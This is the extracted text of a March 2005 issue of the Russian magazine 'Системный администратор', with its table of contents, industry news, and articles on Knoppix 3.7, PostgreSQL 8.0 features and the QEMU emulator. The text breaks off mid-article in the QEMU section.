№3(28) март 2005

подписной индекс 81655

www.samag.ru

Linux Xinerama: один монитор хорошо,

а много лучше
Knoppix – русская редакция
Восстановление удаленных файлов
под Linux
FreeBSD в домене Microsoft Windows
Практикум Python:
отправка файлов по электронной почте
Шифрование данных в Linux –
новый взгляд на аппаратные ключи
Автоматизация процесса
подключения баз 1С
Эмуляция при помощи QEMU
Программирование на shell
в экстремальных условиях
№3(28) март 2005
 оглавление

СОБЫТИЯ 2 Автоматизация процесса подключения

баз 1С с помощью сценария
ТЕНДЕНЦИИ 3 регистрации пользователей в сети
АДМИНИСТРИРОВАНИЕ Иван Коробко
ikorobko@prosv.ru 48
Обзор Knoppix 3.7 Russian Edition
Сага о биллинге,
Александр Байрак или Считаем трафик на FreeBSD
x01mer@pisem.net 4 (ng_ipacct + perl+ MySQL)
Часть 2
PostgreSQL 8.0: новые возможности
Владимир Чижиков
Сергей Супрунов skif@owe.com.ua 52
amsand@rambler.ru 7
БЕЗОПАСНОСТЬ
Эмуляция при помощи QEMU
Защита сетевых сервисов
Сергей Яремчук с помощью stunnel
grinder@ua.fm 8 Часть 3
Linux Xinerama: один монитор хорошо, Андрей Бешков
а много лучше tigrisha@sysadmins.ru 58
Павел Закляков Мониторинг сетевых событий
amdk7@mail.ru 14 при помощи sguil
FreeBSD tips: использование ipnat Сергей Яремчук
grinder@ua.fm 64
Сергей Супрунов
amsand@rambler.r 20 Шифрование данных в Linux –
новый взгляд на аппаратные ключи
FreeBSD в домене Microsoft Windows
Александр Похабов
Рашид Ачилов chiko@agk.ru 70
shelton@granch.ru 22
ПРОГРАММИРОВАНИЕ
PhpGACL – система управления правами
Система создания документации POD
Кирилл Сухов Часть 1
geol@altertech.ru 27
Алексей Мичурин
Практикум Python: отправка файлов alexey@office-a.mtu-net.ru 74
по электронной почте
Программирование на shell
Сергей Супрунов в экстремальных условиях
amsand@rambler.r 30
Гаспар Чилингаров
Восстановление удаленных файлов nm@web.am 82
под Linux
Техника оптимизации под Linux
Крис Касперски Часть 2 – ветвления
kk@sendmail.ru 36
Крис Касперски
Использование альтернативных kk@sendmail.ru 86
потоков данных
КНИЖНАЯ ПОЛКА 93
Максим Костышин
Maxim_kostyshin@mail.ru 44 BUGTRAQ 13, 43, 57
№3, март 2005 1
 события
Десятая юбилейная
20-21 техническая конференция
Корпоративные базы
АПРЕЛЯ данных-2005
20-21 апреля в Москве в десятый раз состоится ежегодная
конференция Корпоративные базы данных-2005 (http://
citforum.ru/seminars/cbd2005).
Организатор конференции Центр Информационных Тех-
нологий (ЦИТ) – владелец IT-портала, объединяющего круп-
нейшие тематические ресурсы – CITForum.ru, CITKIT.ru и
др. Генеральный спонсор конференции – Microsoft, спон-
сор – InterSystems.
Корпоративные базы данных – единственная в постсо-
ветском пространстве независимая конференция, посвя-
щенная тематике средств управления базами данных. Еже-
годно участники конференции имеют возможность в тече-
ние короткого времени получить самую свежую концентри-
рованную информацию о состоянии технологии.
Как всегда, с докладами о новых технологических реше-
ниях и перспективах выступят представители ведущих ком-
паний, поставляющих продукты для управления данными и
разработки приложений:
! Microsoft ! InterSystems
! Oracle ! РЕЛЭКС
! IBM
Особенностью предстоящей конференции является по-
вышенное внимание к СУБД с открытым исходным кодом. В
этом году российские разработчики, принадлежащие сооб-
ществу Open Source, расскажут о состоянии и перспективах
систем:
! PostgreSQL ! Interbase
! MySQL ! Firebird
! Ingres r3 ! Sedna
По словам председателя конференции Сергея Кузнецо-
ва (ИСП РАН), движение Open Source в области баз дан-
ных теперь имеет стратегическое значение для нашей стра-
ны. СУБД с открытым кодом стали более зрелыми, а Рос-
сия прочно вошла в сообщество разработчиков программ-
ного обеспечения Open Source. Российские разработчики
входят в число лидеров в любой международной команде,
развивающей свободно доступные СУБД, и внутри России
возникают новые собственные проекты.
Сочетание докладов о ведущих коммерческих продук-
тах с докладами о развитии систем категории Open Source
делает программу юбилейной конференции интересной и
полезной для самого широкого круга специалистов.
Благодаря поддержке генерального спонсора конферен-
ции Microsoft и спонсора InterSystems, на оплату регистра-
ционного взноса индивидуальных участников будут выде-
ляться гранты. В первую очередь на гранты могут рассчи-
тывать преподаватели, студенты и аспиранты университе-
тов и вузов, а также сотрудники бюджетных научных орга-
низаций.
Место проведения конференции: Москва, Ленинский
проспект, 32а, новое здание Президиума РАН.
Программа конференции и все подробности – http://
citforum.ru/seminars/cbd2005.
2
Новая специализированная
7-9выставка-конференция
СЕНТЯБРЯ для бизнеса
LinuxWorld Russia 2005
Выставочное объединение «Рестэк» совместно с компа-
нией Reed Exhibitions и IDG World Expo объявляют о про-
ведении первой в России международной специализиро-
ванной выставки-конференции для бизнес-инфраструкту-
ры LinuxWorld Russia 2005.
Выставка пройдет 7-9 сентября 2005 года на одной пло-
щадке с Infosecurity Russia и StorageExpo в лучшем выста-
вочном комплексе России – Гостиный двор, расположен-
ном в самом сердце Москвы.
LinuxWorldExpo (www.linuxworldexpo.com) – это популяр-
ная конференция и выставка, посвящённая решениям на
основе Linux, которая ежегодно проходит в 15 странах мира
(США, Канада, Китай, Южная Африка, Италия, Япония,
Англия, Нидерланды, Германия и другие).
LinuxWorld – один из наиболее узнаваемых мировых вы-
ставочных брендов!
Тим Портер, директор по развитию технологических вы-
ставок компании Reed Exhibitions, отметил: «Решения на
базе Linux уже достаточно широко распространены в Рос-
сии. Выставка LinuxWorld Russia представляет уникальную
возможность как пользователям, так и разработчикам уви-
деть последние отечественные и международные продук-
ты на быстрорастущем рынке систем с открытым кодом.
Выставки Infosecurity 2004 и Storage Expo уже получили
большую поддержку в России, и я уверен, что LinuxWorld
Russia будет иметь такой же успех».
На выставке будут представлены продукты и решения от
ведущих игроков рынка: IBM, RedHat, Vdel, Sun Microsystems,
Hewlett-Packard, R-Style, Cisco Systems, ALT Linux, ASP Linux,
Инфосистемы Джет, Инвента, Лаборатория Касперского,
Linux Inc., LinuxCenter и другие.
Основные тематики выставки LinuxWorld: Серверы и уп-
равление серверами, Приложения, Безопасность, Хранение,
Кластеринг/HPC/Grid-системы, Коммуникации/Сети, Мобиль-
ное программирование, Встроенные системы, Базы данных,
Управление данными, Системы управления контентом/Пор-
тальные технологии, Разработка ПО, Desktop-решения, Тен-
денции и инновации для Linux и открытых систем и многое
другое!
В рамках выставки LinuxWorld Russia предусмотрена
насыщенная деловая программа, которая включает конфе-
ренцию, серию бесплатных тематических семинаров, а так-
же презентации компаний, мастер-классы и бизнес-секции
по самым актуальным вопросам развития Open Source-си-
стем.
LinuxWorld Russia пройдёт на одной площадке с Infosecurity
и StorageExpo 2005. Совместному проведению выставок-
конференций способствует то, что Linux – одна из наибо-
лее надёжных платформ для бизнеса, обеспечивающая
безопасность информационных систем и стабильное хра-
нение данных.
Подробную информацию о выставке-конференции и ус-
ловиях посещения смотрите на официальном сайте
www.linuxworldexpo.ru.
Запланируйте участие!

Изменения в нумерации Linux-ядра
В начале марта было принято решение изменить нумерацию
релизов Linux 2.6. «Реформа» призвана решить проблему с
задержками в исправлении проблем, найденных в Linux 2.6.x.
Они связаны с тем, что часто возникают ситуации, когда
предыдущее ядро нуждается в «заплатке», однако она мо-
жет быть представлена только в следующем релизе, а про-
цесс тестирования новой стабильной версии Linux занимает
значительный объем времени. Поэтому отныне доброволь-
цами (первыми из них стали Грег Кроа-Хартман и Крис Райт)
будет осуществляться поддержка уже вышедших Linux-ядер
2.6.x путем публикации патчей 2.6.x.y. Результат не заста-
вил себя ждать: уже 4 марта представлено Linux-ядро
2.6.11.1, за которым вскоре последовали и новые патчи.
GNOME 2.10 и KDE 3.4
Проекты двух популярнейших открытых графических обо-
лочек для UNIX/Linux-систем представили свои новые рели-
зы: GNOME 2.10 и KDE 3.4. На последнюю редакцию GNOME,
которой, несмотря на существенный прогресс, решено было
присвоить версию 2.10, разработчики потратили около по-
лугода, а ключевыми «пакетными» изменениями стали два
приложения: видеоплейер Totem и утилита Sound Juicer для
конвертирования музыки с AudioCD в цифровой формат.
Главное достижение KDE 3.4 – система, воспроизводящая
текст голосом (TTSS), которая доступна как сама по себе
(в приложении KSayIt), так и в интегрированной форме в
Konqueror, Kate, KPDF. Среди прочих многочисленных из-
менений появление новой утилиты Akregator для работы с
информацией в формате RSS, значительные улучшения в
движке KHTML, обновление «корзины» и панели Kicker.
тенденции
Главной проблемой информационной безопасности мно-
гих внешне благополучных предприятий, по мнению техни-
ческого директора Ашота Оганесяна, является отсутствие
контроля за перемещениями инсайдерской информации.
Такие почти бытовые устройства, как USB-диски, могут со-
вершенно беспрепятственно подключаться к рабочим мес-
там в обход традиционных систем ограничения доступа и
создавать неучтенные пути как утечки информации, так и
эмиссии вирусов. Этот пробел для платформы MS Windows
призвана закрыть программа DeviceLock. Её последняя вер-
сия с индексом 5.7 полностью интегрирована в Active Directory
и может не только централизованно управляться через груп-
повые политики, но и также централизованно и очень быс-
тро разворачиваться на существующей сети. Программа
контролирует доступ ко всем USB-устройствам, включая
Bluetooth и WiFi, и интерфейсам FireWire. Кроме этого, воз-
можен аудит файловых операций на отслеживаемых интер-
фейсах.В планах компании – развитие серверной состав-
ляющей системы DeviceLock, что позволит не только управ-
лять доступом, но и при необходимости дублировать все
передаваемые через подконтрольные устройства файлы.
Введение собственной системы шифрования в перспек-
тиве решит проблему «потерянных брелоков».
Конечно, «Смарт Лайн Инк» не является софтверным
гигантом, но для IT изменение вектора развития таких ком-
паний с зарубежного рынка на отечественный равносиль-
но долгожданному «удвоению ВВП» в экономике.
Алексей Барабанов

Intel и Open Source

В середине марта компания Intel объявила о намерении гло-
бально развивать свою Linux-программу. Кампания по пре-
дустановке открытой операционной системы на настольные
ПК началась еще в конце прошлого года с китайских и ин-
дийских производителей, а теперь стало известно, что Intel
решила распространить эту инициативу и на другие стра-
ны мира путем предоставления 160 тысячам партнеров на-
бора собственных приложений для поддержки Linux, скрип-
тов для автоматизации инсталляции и утилит для проверки
на совместимость.

Составил Дмитрий Шурупов

по материалам www.nixp.ru

Реэкспорт русских технологий

В Москве, в кафе «Максимус», 1 марта состоялась пресс-
конференция, посвященная выходу российской компании
«Смарт Лайн Инк» на отечественный рынок со своим веду-
щим продуктом – программой DeviceLock.
Компания «Смарт Лайн Инк», основанная в 1996 году в
Москве, многие годы вела очень успешный бизнес в обла-
сти защиты информации за рубежом и преимущественно в
США. И теперь ее высоко технологические продукты воз-
вращаются на родину. В 2005 году в первоочередных стра-
тегических планах компании «Смарт Лайн Инк» было заяв-
лено развитие российского рынка.

№3, март 2005 3

 администрирование
ОБЗОР KNOPPIX 3.7 RUSSIAN EDITION
Knoppix – один из первых самозагружаемых (LiveCD) дист-
рибутивов Linux. В настоящий момент он же является и са-
мым популярным. В этом небольшом обзоре будет расска-
зано о Knoppix 3.7 Russian Edition от LinuxCenter.ru.
4
АЛЕКСАНДР БАЙРАК
Кому может оказаться полезным данный дистрибутив?
Да кому угодно, начиная от человека, решившего «попро-
бовать» Linux, но не знающего, с чего начать, и заканчивая
системным администратором, для которого Knoppix может

послужить «спасательной дискетой». Система полностью
автономна, вы можете использовать ее даже на компьюте-
ре без жесткого диска. Тут я хочу заметить, что эта статья
была написана мной в Knoppix с использованием Open
Office.org Writer и KSnapshot. Что же входит в состав дист-
рибутива:
! рабочая среда KDE 3.3.0;
! офисный пакет OpenOffice.org 1.1.3;
! браузер Mozilla 1.7.3.
Само собой, это далеко не полный список. Я перечис-
лил лишь основные, наиболее известные компоненты.
По умолчанию используется ядро Linux версии 2.4.27.
Надо заметить, что в дистрибутиве присутствует и ядро из
ветки 2.6. Но, к сожалению, запустить его мне не удалось.
Knoppix сообщил при этом:
Could not find ramdisk image: minirf26.gz
администрирование
на выбор. Справедливости ради отмечу, что входящий в
состав Fluxbox, русифицирован не до конца: кирилличес-
кие символы в меню отображаются некорректно. То же са-
мое происходит и с Xfce. Любопытно, что если вы решите
покинуть графический интерфейс и выйти в голую консоль,
ничего у вас не получится . По умолчанию система загру-
жается на 5-м уровне запуска (runlevel). Для того чтобы по-
пасть в консоль, нужно выбрать 2-й или 3-й уровень.
Беглый взгляд на меню поражает многообразием при-
ложений, которые разработчики вместили в дистрибутив.
Памятуя о сформулированных выше задачах, рассмотрим
некоторые из них более подробно.

Выбор используемого ядра (и не только) осуществляет-

ся в меню, попасть в которое можно, нажав <F2> в началь-
ный момент загрузки системы. Существует еще одно меню,
в котором вы можете указать различные параметры, такие
как: оконный менеджер по умолчанию, язык, разрешение
экрана, уровень запуска (runlevel) системы. Для получения
доступа к этим настройкам нажмите <F3>.
На моем компьютере (P3-550 МГц/320 Ram) полная заг-
рузка заняла порядка 3 минут.
Для создания текстовых документов представлен ши-
рокий перечень текстовых редакторов, начиная от vi и за-
канчивая Writer из пакета OpenOffice.org. Так что с уверен-
ностью можно сказать, что проблем с составлением тек-
стовых документов не возникнет. Создание и просмотр
электронных таблиц осуществляется c помощью програм-
мы Calc из комплекта OpenOffice.org. Работа с графичес-
кими файлами также не вызывает проблем. Создать изоб-
ражение вы сможете с помощью таких программ, как GIMP
или OpenOffice.org Draw. Для просмотра картинок список
программ еще больше, один ImageMagik чего стоит. Доку-
менты в формате PDF можно читать с помощью XPDF, KPDF
или Acrobat Reader. Я перечислил далеко не все, что может
пригодиться вам для работы с документами.

Я решил подготовить обзор дистрибутива не с точки зре-

ния системного администратора UNIX, а с точки зрения
обычного пользователя. Основное внимание я буду уделять
рассмотрению следующих возможностей системы:
! создание и редактирование различных документов;
! работа с сетью (просмотр сайтов, электронная почта);
! мультимедиа-возможности.

Сразу хочу отметить, что русификация и локализация

системы выполнена на высоком уровне, почти все програм-
мы корректно отображают и работают с кириллическими
символами.
После загрузки мы попадаем в привычное многим ок-
ружение KDE. Впрочем, KDE – не единственная графичес-
кая среда. Вы можете также использовать Xfce, оконные Настройка сети каких-либо проблем не вызывает. С по-
менеджеры WindowMaker, IceWM, Fluxbox, LarsWM или twm, мощью удобных конфигураторов можно создать любое под-

№3, март 2005 5

 администрирование
ключение: модемное, кабельное и даже GPRS. Выбор брау-
зеров богатейший, от простого текстового Lynx и до Mozilla
(жаль, что в составе дистрибутива нет Firefox). Посмотреть
электронную почту можно при помощи Kmail, mutt или по-
чтового клиента Mozilla Mail. Для любителей общаться через
Интернет предлагаются IRC-клиент XChat, ICQ-пейджер Sim.
Из прочих «благ цивилизации» отметим менеджеры загру-
зок KGet, Downloader for X, программу для чтения групп но-
востей Knode. Работая с Knoppix, вы без проблем сможете
«влиться» в Windows-сеть, запустив сервер Samba. Посмот-
реть общедоступные ресурсы в сети можно с помощью
smb4k. Особенно любопытные пользователи могут восполь-
зоваться снифферами ethereal и ettercap, а также сканером
уязвимостей nessus. Для обеспечения удаленного доступа к
компьютеру, работающему под управлением Knoppix, мож-
но запустить SSH-сервер, а также организовать совместное
использование рабочего стола по протоколу VNC.
Под мультимедиа-возможностями я подразумеваю про-
слушивание музыки, просмотр фильмов, ну и наличие про-
стеньких игр. Начнем с музыки. Тут все просто – самый по-
пулярный аудиоплеер для UNIX-систем – это XMMS, рабо-
тающий в среде X-Window, и консольный mpg123. В систе-
ме присутствуют оба. Видео можно смотреть как с помо-
щью Xine, так и через MPlayer. Лично мне второй мне бо-
лее привычен.
На диске даже нашлось место для нескольких игр. Кро-
ме стандартного набора, входящего в KDE, доступны с де-
сяток других игр разного жанра.
Что еще интересного всходит в систему? Kooka – про-
грамма для сканирования и распознавания текста. Kgeo по-
может освоить азы геометрии. К услугам разработчиков IDE
Kdevlop, языки Python, TCL, PHP, Perl, и конечно C/C++. От-
мечу, что в состав дистрибутива входит ассемблер gas вер-
сии 2.15 и компоновщик ld той же версии. Для создания веб-
страниц можно использовать Quanta Plus. Работа с карман-
ными компьютерами Palm осуществляется с помощью Kpilot
и Jpilot (из личного опыта скажу, что второй удобнее). Запу-
стить Windows-приложения (по крайней мере, попробовать
это сделать) можно через WINE. Для записи дисков есть k3b.
Само собой, в системе присутствуют такие полезные вещи,
как персональный органайзер и адресная книга. Несомнен-
но, полезнейшим дополнением является возможность сохра-
нить все свои настройки. Для этого нам потребуется любой
6
носитель с файловой системой ext2 или DOS FAT16/FAT12.
В качестве такового я выбрал дискету. Надо заметить, что
создать требуемые для программы сохранения настроек
файловые системы можно, что называется, «не отходя от
кассы». Стоит лишь воспользоваться утилитой kfloppy, кото-
рая отформатирует вашу дискету и разместит на ней фай-
ловые системы FAT-12/ext2 на выбор. Другой не менее инте-
ресной возможностью является указание постоянной домаш-
ней директории. В качестве хранилища для размещенных в
ней файлов я использовал USB Flash размером 32Мб.
В дистрибутиве присутствует компилятор gcc версии 3.3.4
и make версии 3.80, а также утилита apt-get. Это значит, что
мы можем расширять Knoppix и адаптировать его под соб-
ственные нужды. В качестве примера я собрал эмулятор
mips64emul (подробнее о нем можно прочитать в журнале
«Системный администратор», №11, ноябрь 2004 г.) Получив-
шийся после компиляции бинарный файл я разместил в до-
машнем каталоге (а его, как вы помните, можно сохранять
где угодно). При запуске Knoppix находит и монтирует все
известные ему файловые системы. Так что пользователь
может получить доступ к своим файлам, которые находятся,
например, в файловой системе FAT32 или Ext2. NTFS тоже
монтируется, но в режиме «только для чтения». К сожале-
нию, ufs , ufs2 и файловую систему Solaris Knoppix не видит,
и, как следствие, работать с ними не может.
В процессе знакомства с Knoppix я нашел в его составе
всё (ну или почти всё), что нужно обычному пользователю
для работы и, конечно, отдыха. Я думаю, разработчики до-
стигли своей цели, создав дистрибутив, подходящий для
решения широкого круга задач, для большой аудитории
пользователей. Как уже упоминалось, дистрибутив послу-
жит надежным компаньоном для людей, желающих позна-
комиться с миром открытых систем. Удачным вариантом
будет использование Knoppix в офисе. А что? Отличная
идея. Пользователи приходят, загружаются с диска и начи-
нают работать. Свои файлы можно хранить как на смен-
ных носителях, так и в главном «хранилище» файлов. По
аналогичной схеме дистрибутив можно использовать и в
различных учебных заведениях.
Приятно, что в состав системы входит небольшой спра-
вочник с описанием наиболее популярных программ, вклю-
ченных в дистрибутив. Как таковых «минусов» в этой сис-
теме я не обнаружил. Недоработки есть. Одна из главных,
как это ни парадоксально, все та же пресловутая пробле-
ма с русским языком. Раз уж дистрибутив в своем назва-
нии имеет приставку «Russian Edition», то разработчики
должны были из кожи вон вылезти, но везде обеспечить
работу с кириллицей, досконально проверив все. Как я уже
упомянул, проблемы с отображением русских букв присут-
ствуют в оконных менеджерах Fluxbox и Xfce. Аналогичные
недочеты встретились мне еще в нескольких программах.
К более мелким замечаниям можно отнести некую неряш-
ливость в выборе настроек по умолчанию. Например, от-
кройте в XINE меню для выбора загружаемого файла. Да,
шрифт, мягко сказать, не совсем удобочитаемый. Будем на-
деяться, что в следующих версиях системы эти досадные
недоразумения будут исправлены. Но в целом эти мелкие
недоработки, которые не смогли испортить благоприятное
впечатление от дистрибутива.

PostgreSQL 8.0: НОВЫЕ ВОЗМОЖНОСТИ
В середине января этого года вышла новая версия откры-
той системы управления базами данных PostgreSQL 8.0. Ос-
новные характеристики этой СУБД были рассмотрены ра-
нее на страницах журнала (см. статью «PostgreSQL: пер-
вые шаги», №7, 2004 г.). По сравнению с 7-й веткой (на
данный момент это версия 7.4.7) в 8-й версии появился ряд
нововведений, краткому обзору которых и посвящена эта
статья.
Помимо традиционных исправлений недоработок, вы-
явленных в прежних версиях, и общих улучшений, смена
«мажорной» версии ознаменовалась рядом принципиаль-
ных новшеств, направленных прежде всего на расширение
возможностей по управлению СУБД.
Итак, добавлено понятие табличного пространства (table
spaces). Раньше хранилище данных размещалось в дирек-
тории, указанной при инициализации командой initdb, то
есть жестко определялось на стадии инсталляции СУБД и
могло находиться только на одной файловой системе. Про-
блемы со свободным местом приходилось решать либо с
помощью переноса хранилища в другой раздел диска и раз-
мещения символьной ссылки на него, либо повторной ини-
циализацией хранилища с последующим восстановлени-
ем данных из резервной копии. Теперь команда «CREATE
TABLESPACE» позволяет создать несколько табличных про-
странств на разных файловых системах. И в дальнейшем
при создании новой базы данных (CREATE DATABASE), таб-
лицы (CREATE TABLE), индекса (CREATE INDEX) и т. д. мож-
но указать, в каком табличном пространстве следует раз-
местить объекты. Это помогает более гибко управлять раз-
мещением данных на диске и в ряде случаев повышает бы-
стродействие, например, за счет выноса индексных фай-
лов в табличное пространство, расположенное на отдель-
ном жестком диске.
Команда «ALTER TABLE» позволяет теперь изменять тип
данных столбца. Раньше для этого требовалось создать но-
вый столбец, перенести в него данные и затем старый уда-
лить. До версии 7.3 удалять столбцы тоже было нельзя, и
приходилось либо мириться с тем, что никому не нужный
столбец занимает место, либо менять структуру таблицы
самым универсальным способом – создавая на ее основе
новую. Теперь для этого достаточно одной команды:
ALTER TABLE test ALTER COLUMN mynum TYPE NUMERIC(4,2);
Старый и новый типы должны быть совместимы. То есть
вы можете изменить тип numeric(5,2) на numeric(9,2), что-
бы хранить большие числа, но попытка изменить, напри-
мер, числовой тип на строковый приведет к ошибке.
Также в новой версии появились так называемые точки
сохранения транзакций (savepoints). В ранних версиях в слу-
чае ошибки внутри транзакции она «откатывалась» полно-
стью, что в сложных транзакциях (например, при отработ-
ке функций) приводило к значительной трате ресурсов. Те-
№3, март 2005
администрирование
СЕРГЕЙ СУПРУНОВ
перь есть возможность в потенциально опасных местах
транзакции размещать savepoints и в дальнейшем при об-
работке ошибки откатывать транзакцию только до указан-
ной точки сохранения. Для этого используется команда
«ROLLBACK TO savepointname», где savepointname – имя
точки сохранения, присвоенное ей командой «SAVEPOINT
savepointname». После устранения причины ошибки обра-
ботка транзакции продолжится, при этом операции, выпол-
ненные нормально, повторяться не будут.
Команда «COPY», которая служит для загрузки данных
в таблицу из внешних файлов и сохранения данных из таб-
лиц в файлы, раньше поддерживала текстовый формат с
разделителями и собственный двоичный формат. Теперь
она поддерживает также работу с файлами в формате CSV
(comma separated value), что упрощает обмен данными меж-
ду PostgreSQL и, скажем, файлами Excel. Например, чтобы
сохранить данные из CSV-файла, требуется подготовить
таблицу, столбцы которой соответствуют по типу полям заг-
ружаемого файла. Затем выполняется команда:
COPY mytable FROM ‘/path/to/file.csv’ WITH CSV;
В результате данные из file.csv допишутся в конец таб-
лицы mytable. Каждая строка файла становится одной за-
писью, в качестве разделителя полей будет использован
символ «запятая». Этот вариант простейший, в общем слу-
чае можно явно указывать поля таблицы, которые будут за-
полняться из файла, и их порядок, а также задавать ряд до-
полнительных параметров. Подробности смотрите в справ-
ке (например, введя команду «\h copy» в интерактивном тер-
минале psql).
Обновлена версия встроенного языка PL/Perl, позволя-
ющего разрабатывать хранимые процедуры на языке Perl.
Напомню, что помимо PL/pgSQL и PL/Perl, PostgreSQL по-
зволяет использовать для разработки серверной части при-
ложений также языки Python (PL/Python) и Tcl (PL/Tcl). С
сайта www.postgresql.org дополнительно можно скачать и
установить модули, обеспечивающие поддержку языков
PHP, Java и др. Разработчики PostgreSQL уделили долж-
ное внимание и системам от Microsoft – теперь выпускает-
ся «родная» версия этой СУБД для Windows 2000/2003/XP.
Раньше тоже можно было запускать PostgreSQL в Windows,
но под управлением UNIX-эмулятора Cygwin, что крайне от-
рицательно сказывалось на быстродействии и требователь-
ности к ресурсам и практически не позволяло говорить о
«промышленной» эксплуатации PostgreSQL на этих опера-
ционных системах. Таким образом, можно констатировать
тот факт, что PostgreSQL по своим характеристикам все
больше приближается к таким коммерческим «монстрам»
как Oracle. Конечно, по отношению к Oracle PostgreSQL по-
прежнему находится в роли догоняющего, однако разрыв
сокращается с каждым новым релизом, и выбор этой бес-
платной СУБД становится все более предпочтительным.
7
 администрирование
ЭМУЛЯЦИЯ ПРИ ПОМОЩИ QEMU
C увеличением вычислительной мощности настольных сис-
тем возрос интерес к различного рода эмуляциям. Причина
ясна – теперь пользователь может работать с привычными
приложениями в другой операционной системе, а то и вовсе
запускать несколько копий операционных систем, создавая
целые виртуальные сети на одном компьютере. Список пред-
ложений растет с каждым днем, появляются как свободные
реализации, так и коммерческие приложения. Эмулируется
все, от игровых приставок и компьютеров давно ушедших
дней до операционных систем или отдельных сервисов. Но,
судя по всему, наибольший интерес на сегодня представля-
ет эмуляция именно компьютеров, т.к. это более востребо-
ванный продукт, особенно среди профессионалов. Теперь,
8
СЕРГЕЙ ЯРЕМЧУК
запустив еще одну операционную систему, можно проверять
работу приложений в различных средах, не перегружаясь по
нескольку раз в день, изучать взаимодействие, исследовать
неизвестное и, возможно, потенциально опасное программ-
ное обеспечение, использовать специфические инструмен-
ты, организовать обучение с теми или иными программны-
ми комплексами. Приложения, эмулирующие аппаратную
среду, называют системными эмуляторами или виртуальны-
ми машинами. Среди них наиболее популярны bochs (http://
bochs.sourceforge.net) и VMWare (http://www.vmware.com).
Первый, довольно мощный эмулятор, но с довольно неудоб-
ным трудоемким и непонятным для новичка процессом на-
стройки. Недостаток второго – цена, он является коммер-

ческим продуктом. Есть еще, конечно, и Cooperative Linux –
coLinux (http://www.colinux.org), позволяющий запускать
ядро Linux как отдельный процесс в среде ОС Windows, но,
как видите, он имеет ограничения и может подойти не для
всех ситуаций. Есть и другие проекты, имеющие свои осо-
бенности. Между тем сегодня доступен свободный продукт,
который наряду с большой функциональностью и скорос-
тью работы имеет относительно простые настройки и объе-
диняет в себе некоторые достоинства, доступные в отдель-
ных проектах.
QEMU (http://fabrice.bellard.free.fr/qemu/index.html) пред-
ставляет собой Open Source-эмулятор, достигающий хоро-
шей скорости эмуляции, используя динамическую трансля-
цию кода, и способный эмулировать процессоры других ар-
хитектур. Отличительной особенностью QEMU является
наличие двух видов эмуляции:
! full system emulation, при которой создается виртуаль-
ная машина, имеющая свой процессор и различную пе-
риферию, что позволяет запускать еще одну операци-
онную систему;
! User mode emulation, этот режим, реализованный толь-
ко для GNU/Linux, позволяет запускать на родном про-
цессоре программы, откомпилированные под другую
платформу.
Опционально доступен QEMU Accelerator Module (KQEMU),
выполняющий часть кода напрямую на реальном процес-
соре, минуя виртуальный, и таким образом оптимизируя вы-
полнение кода в full system emulation-режиме.
Установить QEMU можно на GNU/Linux, MS Windows
всех версий начиная с Windows 3.11, BeOS 5 PE, FreeDOS
и MSDOS, Solaris, NetBSD, OS/2, Minix и некоторых других.
Полный список операционных систем, на которых протести-
рована работа qemu с указанием особенностей, доступна в
документе «QEMU OS Support»: http://fabrice.bellard.free.fr/
qemu/ossupport.html.
На момент написания статьи в качестве основной плат-
формы могли использоваться компьютеры на базе x86- и
PowerPC-процессоров, на стадии тестирования находились
x86_64, Alpha, Sparc32, ARM и S390. В режиме full system
emulation пока полноценно эмулируется только x86-плат-
форма, хотя уже доступны реализации x86_64, SPARC и
PowerPC, но они находятся в стадии тестирования. QEMU
Accelerator Module реализован пока только для Linux, хотя
в будущем планируется также поддержка Windows, *BSD и
64 разрядных процессоров. В user mode список чуть боль-
ше x86, ARM, SPARC и PowerPC. Остальные платформы
находятся пока на стадии тестирования, и при работе воз-
можны сбои.
Виртуальная машина i386-архитектуры, созданная при
помощи qemu, получает в свое распоряжение следующий
набор виртуальных устройств:
! процессор такой же частоты, как и на основной системе,
в многопроцессорной системе виртуальный компьютер
получает в свое распоряжение только один процессор;
! PC BIOS, используемый в проекте Bochs;
! материнская плата i440FX с PIIX3 PCI – ISA-мостом;
! видеокарта Cirrus CLGD 5446 PCI VGA или VGA карта с
Bochs VESA-расширениями;
№3, март 2005
администрирование
! мышь PS/2 и клавиатура;
! 2 PCI IDE-интерфейса для жесткого диска и поддержку
CD-ROM;
! один гибкий диск;
! до 6 NE2000 PCI-сетевых карт;
! до 4 последовательных (СОМ)-портов;
! вывод звука через Soundblaster 16-совместимую карту.
Как видите, на данный момент виртуальная машина в
qemu не работает с USB- и SCSI-устройствами. Здесь он
пока, бесспорно, проигрывает VMWare.
Все библиотеки и эмулятор распространяются в исход-
ных текстах по GNU LGPL, исключение составляет только
QEMU Accelerator Module, являющийся проприетарным про-
дуктом и требующий согласия разработчиков при распрос-
транении и коммерческом использовании.
Установка QEMU
Скомпилированная версия для GNU/Linux, исходные тексты
и модуль QEMU Accelerator Module доступны на сайте про-
екта на странице Download. За версиями для Windows и Mac
OS X необходимо идти на сайт Free Operating System Zoo –
FreeOSZoo (http://www.freeoszoo.org). На этих же сайтах вы
найдете и готовые образы свободных операционных сис-
тем для запуска при помощи QEMU. Размер архива неболь-
шой, чуть меньше одного мегабайта. Установка из исход-
ных текстов происходит обычным образом. При написании
статьи использовался ASPLinux 10 Express.
# su
# tar zxvf qemu-0.6.1.tar.gz
# cd qemu-0.6.1
# ./configure
# make
# make install
После чего эмулятор можно запускать. Если набрать
qemu без параметров, то будет выведен список опций. В
общем случае строка запуска выглядит так:
qemu [options] [disk_image]
Теперь для примера работы гостевой системы вставля-
ем загрузочный диск в CD-ROM и даем такую команду:
# qemu -cdrom /dev/cdrom
Connected to host network interface: tun0
В результате откроется еще одно окно, в котором нач-
нется процесс обычной загрузки системы. Если был встав-
лен диск с одним из LiveCD-дистрибутивов, то его тут же
можно использовать обычным образом. Естественно, ско-
рость работы гостевой системы будет ниже, чем при запус-
ке на реальной системе. Для того чтобы набирать данные в
гостевой системе, нужно просто щелкнуть мышью в окне,
выйти в основную систему можно, нажав <Ctrl+Alt>. В за-
висимости от установок родительской ОС может выскочить
сообщение о том, что qemu не может получить DNS-имя.
Происходит это потому, что программа не может настроить
сеть с параметрами по умолчанию. Самым простым выхо-
дом будет добавить опцию -dummy-net, активирующую под-
9
 администрирование
дельный сетевой стек, но при этом гостевой системой не
будут приниматься и отправляться пакеты.
# qemu -dummy-net -cdrom /dev/cdrom
Имея готовый iso-образ, можно его проверить перед за-
писью на диск (рис. 1).
# qemu -dummy-net -cdrom movix.iso
По умолчанию qemu для поднятия виртуального сете-
вого tap/tun-интерфейса использует скрипт /etc/qemu-ifup,
если таковой не обнаруживается, то пытается использовать
параметр -user-net. В этом режиме запускается виртуаль-
